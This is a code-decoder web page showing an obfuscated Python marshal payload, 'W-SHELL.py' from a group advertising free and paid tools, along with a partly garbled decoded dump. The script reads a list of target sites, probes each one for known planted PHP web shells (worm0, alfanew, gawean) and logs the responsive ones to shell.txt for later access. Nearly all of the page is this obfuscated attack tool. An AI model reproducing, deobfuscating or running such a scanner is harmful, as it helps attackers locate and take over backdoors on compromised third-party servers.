Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

import marshal exec marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00@\x00..

Decoded Output download

<?  import marshal 
exec marshal.loads('c@sddlZddlZddlZddlZddlZddlmZddlmZddlm	Z	e	de
ejZej
ZdjeZeGHejjy<geejddd	jD]Zej^qZWnMek
r7eejd
jdZedeeedd
nXdZdddgZ dddYZ!e!Z"dZ#edZ$e$j%e#ee$j&e$j\'dS(iN(tPool(tFore(tinitt	autoresets{}
		   
[#] Create By ::
  ______                        ____        __ 
 /_  __/__  ____ _____ ___     / __ \____  / /_
  / / / _ \/ __ `/ __ `__ \   / / / / __ \/ __/
 / / /  __/ /_/ / / / / / /  / /_/ / /_/ / /__ 
/_/  \___/\__,_/_/ /_/ /_/  /_____/\____/\__(_)
                         FREE TOOLS                      
	    Telegram Channels => https://t.me/team_dot33
                            DM For paid tools :@Mr_dot33 				   

itmodetris\s
  [!] Enter <s
> <sites.txt>cs,tjdjfdt|DS(Ntc3s|]}tjVqdS(N(trandomtchoice(t.0ti(tletters(s
W-SHELL.pys	<genexpr> s(tstringtascii_lowercasetjointrange(tlength((Rs
W-SHELL.pytrans	s/worm0.PhP7s
/alfanew.PhP7s/gawean.PhP7t	EvaiLCodecBs#eZdZdZdZRS(cCsidd6|_dS(NsMozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36s
User-Agent(theaders(tself((s
W-SHELL.pyt__init__$scCs|jdr$|jdd}n$|jdrH|jdd}ntjd}x2tj||rtj||}|d}qZW|S(Nshttp://Rshttps://s(.*)/i(t
startswithtreplacetretcompiletfindall(Rtsitetpatterntsitez((s
W-SHELL.pyt	URLdomain)sc	Csyd|j|}xtD]}tj||d|jdtddj}d|krdj|tGHt	dd	j
||d
Pqdj|tGHqWWnnXdS(Nshttp://RtverifyttimeoutisUname:sTarget:{} --> {}[Succefully]s	shell.txttas
sTarget:{} -->! {}[Failid](RtPathlisttrequeststgetRtFalsetcontenttformattfgtopentwritetfr(RRturltPathtcheck((s
W-SHELL.pytchecker8s
+(t__name__t
__module__RRR/(((s
W-SHELL.pyR#s		cCsytj|WnnXdS(N(tControlR/(R((s
W-SHELL.pytRunUploaderLsi(((tsysR#RRRtmultiprocessing.dummyRtcoloramaRRtTruetREDR+tGREENR(R\'tbannerturllib3tdisable_warningsR)targvt	readlinesR
tstripttargett
IndexErrortstrtsplittpathtexittlenRR"RR2R3tmptmaptcloseR(((s
W-SHELL.pyt<module>s.<
		

<
$	(		
') ?>

Did this file decode correctly?

Original Code

import marshal
exec marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00@\x00\x00\x00s\xa9\x01\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x00\x00d\x01\x00l\x01\x00Z\x01\x00d\x00\x00d\x01\x00l\x02\x00Z\x02\x00d\x00\x00d\x01\x00l\x03\x00Z\x03\x00d\x00\x00d\x01\x00l\x04\x00Z\x04\x00d\x00\x00d\x02\x00l\x05\x00m\x06\x00Z\x06\x00\x01d\x00\x00d\x03\x00l\x07\x00m\x08\x00Z\x08\x00\x01d\x00\x00d\x04\x00l\x07\x00m\t\x00Z\t\x00\x01e\t\x00d\x05\x00e\n\x00\x83\x00\x01\x01e\x08\x00j\x0b\x00Z\x0c\x00e\x08\x00j\r\x00Z\x0e\x00d\x06\x00j\x0f\x00e\x0e\x00\x83\x01\x00Z\x10\x00e\x10\x00GHe\x01\x00j\x11\x00j\x12\x00\x83\x00\x00\x01y<\x00g\x00\x00e\x13\x00e\x00\x00j\x14\x00d\x07\x00\x19d\x08\x00d\t\x00\x83\x01\x01j\x15\x00\x83\x00\x00D]\x12\x00Z\x16\x00e\x16\x00j\x17\x00\x83\x00\x00^\x02\x00q\xcf\x00Z\x18\x00WnM\x00\x04e\x19\x00k\n\x00r7\x01\x01\x01\x01e\x1a\x00e\x00\x00j\x14\x00d\n\x00\x19\x83\x01\x00j\x1b\x00d\x0b\x00\x83\x01\x00Z\x1c\x00e\x1d\x00d\x0c\x00e\x1c\x00e\x1e\x00e\x1c\x00\x83\x01\x00d\x07\x00\x18\x19\x17d\r\x00\x17\x83\x01\x00\x01n\x01\x00Xd\x0e\x00\x84\x00\x00Z\x1f\x00d\x0f\x00d\x10\x00d\x11\x00g\x03\x00Z \x00d\x12\x00d\x16\x00d\x13\x00\x84\x00\x00\x83\x00\x00YZ!\x00e!\x00\x83\x00\x00Z"\x00d\x14\x00\x84\x00\x00Z#\x00e\x06\x00d\x15\x00\x83\x01\x00Z$\x00e$\x00j%\x00e#\x00e\x18\x00\x83\x02\x00\x01e$\x00j&\x00\x83\x00\x00\x01e$\x00j\'\x00\x83\x00\x00\x01d\x01\x00S(\x17\x00\x00\x00i\xff\xff\xff\xffN(\x01\x00\x00\x00t\x04\x00\x00\x00Pool(\x01\x00\x00\x00t\x04\x00\x00\x00Fore(\x01\x00\x00\x00t\x04\x00\x00\x00initt\t\x00\x00\x00autoresets\xb8\x01\x00\x00{}\n\t\t   \n[#] Create By ::\n  ______                        ____        __ \n /_  __/__  ____ _____ ___     / __ \\____  / /_\n  / / / _ \\/ __ `/ __ `__ \\   / / / / __ \\/ __/\n / / /  __/ /_/ / / / / / /  / /_/ / /_/ / /__ \n/_/  \\___/\\__,_/_/ /_/ /_/  /_____/\\____/\\__(_)\n                         FREE TOOLS                      \n\t    Telegram Channels => https://t.me/team_dot33\n                            DM For paid tools :@Mr_dot33 \t\t\t\t   \n\ni\x01\x00\x00\x00t\x04\x00\x00\x00modet\x01\x00\x00\x00ri\x00\x00\x00\x00s\x01\x00\x00\x00\\s\x0e\x00\x00\x00\n  [!] Enter <s\r\x00\x00\x00> <sites.txt>c\x01\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x00s,\x00\x00\x00t\x00\x00j\x01\x00\x89\x00\x00d\x01\x00j\x02\x00\x87\x00\x00f\x01\x00d\x02\x00\x86\x00\x00t\x03\x00|\x00\x00\x83\x01\x00D\x83\x01\x00\x83\x01\x00S(\x03\x00\x00\x00Nt\x00\x00\x00\x00c\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x003\x00\x00\x00s\x1e\x00\x00\x00|\x00\x00]\x14\x00}\x01\x00t\x00\x00j\x01\x00\x88\x00\x00\x83\x01\x00V\x01q\x03\x00d\x00\x00S(\x01\x00\x00\x00N(\x02\x00\x00\x00t\x06\x00\x00\x00randomt\x06\x00\x00\x00choice(\x02\x00\x00\x00t\x02\x00\x00\x00.0t\x01\x00\x00\x00i(\x01\x00\x00\x00t\x07\x00\x00\x00letters(\x00\x00\x00\x00s\n\x00\x00\x00W-SHELL.pys\t\x00\x00\x00<genexpr> \x00\x00\x00s\x02\x00\x00\x00\x06\x00(\x04\x00\x00\x00t\x06\x00\x00\x00stringt\x0f\x00\x00\x00ascii_lowercaset\x04\x00\x00\x00joint\x05\x00\x00\x00range(\x01\x00\x00\x00t\x06\x00\x00\x00length(\x00\x00\x00\x00(\x01\x00\x00\x00R\x0b\x00\x00\x00s\n\x00\x00\x00W-SHELL.pyt\x03\x00\x00\x00ran\x1e\x00\x00\x00s\x04\x00\x00\x00\x00\x01\t\x01s\x0b\x00\x00\x00/worm0.PhP7s\r\x00\x00\x00/alfanew.PhP7s\x0c\x00\x00\x00/gawean.PhP7t\t\x00\x00\x00EvaiLCodec\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00B\x00\x00\x00s#\x00\x00\x00e\x00\x00Z\x01\x00d\x00\x00\x84\x00\x00Z\x02\x00d\x01\x00\x84\x00\x00Z\x03\x00d\x02\x00\x84\x00\x00Z\x04\x00RS(\x03\x00\x00\x00c\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00s\x14\x00\x00\x00i\x01\x00d\x01\x00d\x02\x006|\x00\x00_\x00\x00d\x00\x00S(\x03\x00\x00\x00Ns\x98\x00\x00\x00Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36s\n\x00\x00\x00User-Agent(\x01\x00\x00\x00t\x07\x00\x00\x00headers(\x01\x00\x00\x00t\x04\x00\x00\x00self(\x00\x00\x00\x00(\x00\x00\x00\x00s\n\x00\x00\x00W-SHELL.pyt\x08\x00\x00\x00__init__$\x00\x00\x00s\x02\x00\x00\x00\x00\x02c\x02\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00s\x90\x00\x00\x00|\x01\x00j\x00\x00d\x01\x00\x83\x01\x00r$\x00|\x01\x00j\x01\x00d\x01\x00d\x02\x00\x83\x02\x00}\x01\x00n$\x00|\x01\x00j\x00\x00d\x03\x00\x83\x01\x00rH\x00|\x01\x00j\x01\x00d\x03\x00d\x02\x00\x83\x02\x00}\x01\x00n\x00\x00t\x02\x00j\x03\x00d\x04\x00\x83\x01\x00}\x02\x00x2\x00t\x02\x00j\x04\x00|\x02\x00|\x01\x00\x83\x02\x00r\x8b\x00t\x02\x00j\x04\x00|\x02\x00|\x01\x00\x83\x02\x00}\x03\x00|\x03\x00d\x05\x00\x19}\x01\x00qZ\x00W|\x01\x00S(\x06\x00\x00\x00Ns\x07\x00\x00\x00http://R\x06\x00\x00\x00s\x08\x00\x00\x00https://s\x05\x00\x00\x00(.*)/i\x00\x00\x00\x00(\x05\x00\x00\x00t\n\x00\x00\x00startswitht\x07\x00\x00\x00replacet\x02\x00\x00\x00ret\x07\x00\x00\x00compilet\x07\x00\x00\x00findall(\x04\x00\x00\x00R\x14\x00\x00\x00t\x04\x00\x00\x00sitet\x07\x00\x00\x00patternt\x05\x00\x00\x00sitez(\x00\x00\x00\x00(\x00\x00\x00\x00s\n\x00\x00\x00W-SHELL.pyt\t\x00\x00\x00URLdomain)\x00\x00\x00s\x12\x00\x00\x00\x00\x02\x0f\x01\x15\x01\x0f\x01\x15\x03\x0f\x01\x15\x01\x12\x01\x0e\x01c\x02\x00\x00\x00\x05\x00\x00\x00\t\x00\x00\x00C\x00\x00\x00s\xb1\x00\x00\x00y\xa3\x00d\x01\x00|\x00\x00j\x00\x00|\x01\x00\x83\x01\x00\x17}\x02\x00x\x89\x00t\x01\x00D]\x81\x00}\x03\x00t\x02\x00j\x03\x00|\x02\x00|\x03\x00\x17d\x02\x00|\x00\x00j\x04\x00d\x03\x00t\x05\x00d\x04\x00d\x05\x00\x83\x01\x03j\x06\x00}\x04\x00d\x06\x00|\x04\x00k\x06\x00r\x8d\x00d\x07\x00j\x07\x00|\x02\x00t\x08\x00\x83\x02\x00GHt\t\x00d\x08\x00d\t\x00\x83\x02\x00j\n\x00|\x02\x00|\x03\x00\x17d\n\x00\x17\x83\x01\x00\x01Pq\x1d\x00d\x0b\x00j\x07\x00|\x02\x00t\x0b\x00\x83\x02\x00GHq\x1d\x00WWn\x07\x00\x01\x01\x01n\x01\x00Xd\x00\x00S(\x0c\x00\x00\x00Ns\x07\x00\x00\x00http://R\x13\x00\x00\x00t\x06\x00\x00\x00verifyt\x07\x00\x00\x00timeouti\x19\x00\x00\x00s\x06\x00\x00\x00Uname:s\x1c\x00\x00\x00Target:{} --> {}[Succefully]s\t\x00\x00\x00shell.txtt\x01\x00\x00\x00as\x01\x00\x00\x00\ns\x19\x00\x00\x00Target:{} -->! {}[Failid](\x0c\x00\x00\x00R\x1e\x00\x00\x00t\x08\x00\x00\x00Pathlistt\x08\x00\x00\x00requestst\x03\x00\x00\x00getR\x13\x00\x00\x00t\x05\x00\x00\x00Falset\x07\x00\x00\x00contentt\x06\x00\x00\x00formatt\x02\x00\x00\x00fgt\x04\x00\x00\x00opent\x05\x00\x00\x00writet\x02\x00\x00\x00fr(\x05\x00\x00\x00R\x14\x00\x00\x00R\x1b\x00\x00\x00t\x03\x00\x00\x00urlt\x04\x00\x00\x00Patht\x05\x00\x00\x00check(\x00\x00\x00\x00(\x00\x00\x00\x00s\n\x00\x00\x00W-SHELL.pyt\x07\x00\x00\x00checker8\x00\x00\x00s\x16\x00\x00\x00\x00\x01\x03\x02\x13\x01\r\x01+\x01\x0c\x01\x11\x01\x1e\x01\x04\x02\x19\x02\x03\x01(\x05\x00\x00\x00t\x08\x00\x00\x00__name__t\n\x00\x00\x00__module__R\x15\x00\x00\x00R\x1e\x00\x00\x00R/\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\n\x00\x00\x00W-SHELL.pyR\x12\x00\x00\x00#\x00\x00\x00s\x06\x00\x00\x00\x06\x01\t\x05\t\x0fc\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00s\x1f\x00\x00\x00y\x11\x00t\x00\x00j\x01\x00|\x00\x00\x83\x01\x00\x01Wn\x07\x00\x01\x01\x01n\x01\x00Xd\x00\x00S(\x01\x00\x00\x00N(\x02\x00\x00\x00t\x07\x00\x00\x00ControlR/\x00\x00\x00(\x01\x00\x00\x00R\x1b\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\n\x00\x00\x00W-SHELL.pyt\x0b\x00\x00\x00RunUploaderL\x00\x00\x00s\x08\x00\x00\x00\x00\x01\x03\x01\x11\x01\x03\x01i\x96\x00\x00\x00(\x00\x00\x00\x00((\x00\x00\x00t\x03\x00\x00\x00sysR#\x00\x00\x00R\x18\x00\x00\x00R\x07\x00\x00\x00R\x0c\x00\x00\x00t\x15\x00\x00\x00multiprocessing.dummyR\x00\x00\x00\x00t\x08\x00\x00\x00coloramaR\x01\x00\x00\x00R\x02\x00\x00\x00t\x04\x00\x00\x00Truet\x03\x00\x00\x00REDR+\x00\x00\x00t\x05\x00\x00\x00GREENR(\x00\x00\x00R\'\x00\x00\x00t\x06\x00\x00\x00bannert\x07\x00\x00\x00urllib3t\x10\x00\x00\x00disable_warningsR)\x00\x00\x00t\x04\x00\x00\x00argvt\t\x00\x00\x00readlinesR\n\x00\x00\x00t\x05\x00\x00\x00stript\x06\x00\x00\x00targett\n\x00\x00\x00IndexErrort\x03\x00\x00\x00strt\x05\x00\x00\x00splitt\x04\x00\x00\x00patht\x04\x00\x00\x00exitt\x03\x00\x00\x00lenR\x11\x00\x00\x00R"\x00\x00\x00R\x12\x00\x00\x00R2\x00\x00\x00R3\x00\x00\x00t\x02\x00\x00\x00mpt\x03\x00\x00\x00mapt\x05\x00\x00\x00closeR\x0e\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\n\x00\x00\x00W-SHELL.pyt\x08\x00\x00\x00<module>\x01\x00\x00\x00s.\x00\x00\x00<\x01\x10\x01\x10\x01\x10\x01\r\x01\t\x01\t\r\x0f\x01\x05\x01\r\x02\x03\x01<\x01\r\x01\x1c\x01$\x02\t\x04\x0f\x01\x13(\t\x01\t\x05\x0c\x01\x10\x01\n\x01')

Function Calls

None

Variables

None

Stats

MD5 a0fdafe5ca49381718f3b14748c050f9
Eval Count 0
Decode Time 51 ms